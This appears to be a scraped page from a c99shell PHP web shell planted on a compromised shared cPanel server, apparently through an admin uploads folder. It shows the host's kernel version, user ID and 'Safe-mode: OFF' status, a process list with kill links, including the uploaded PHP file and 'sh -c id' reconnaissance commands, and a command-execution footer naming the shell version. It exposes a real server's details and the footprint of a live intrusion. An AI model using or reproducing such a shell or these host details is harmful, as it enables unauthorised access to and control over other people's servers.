Software: Apache. PHP/5.6.40 uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24 uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) Safe-mode: OFF (not secure) /opt/alt/python311/lib64/python3.11/__pycache__/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
cp949260 | 3058094 | 0.0 | 0.0 | 13084 | 1016 | ? R 20:22 0:00 ps -aux | KILL | |||||||||||||||||||||||
cp949260 | 3058089 | 2.0 | 0.0 | 313480 | 9060 | ? | Rs 20:22 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 3058097 | 0.0 | 0.0 | 10572 | 728 ? S 20:22 0:00 id | KILL | ||||||||||||||||||||||||
cp949260 | 3058108 | 0.0 | 0.0 | 11248 | 1040 | ? R 20:22 0:00 sh -c id | KILL | |||||||||||||||||||||||
cp949260 | 3058113 | 0.0 | 0.0 | 311044 | 5508 | ? | R 20:22 0:00 lsphp | KILL | ||||||||||||||||||||||
cp949260 | 3058078 | 3.0 | 0.0 | 312196 | 8468 | ? | Rs 20:22 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 3058060 | 2.0 | 0.0 | 313480 | 9792 | ? | Ss 20:22 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 3057859 | 1.6 | 0.0 | 313480 | 9936 | ? | Ss 20:22 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 3057991 | 2.0 | 0.0 | 313480 | 9896 | ? | Ss 20:22 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 3058004 | 2.5 | 0.0 | 312452 | 9776 | ? | Rs 20:22 0:00 lsphp | KILL | ||||||||||||||||||||||
cp949260 | 3058037 | 3.0 | 0.0 | 313480 | 9792 | ? | Ss 20:22 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 2958040 | 0.3 | 0.0 | 311044 | 19056 | ? | Rs 20:05 0:03 lsphp | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.2859 ]-- |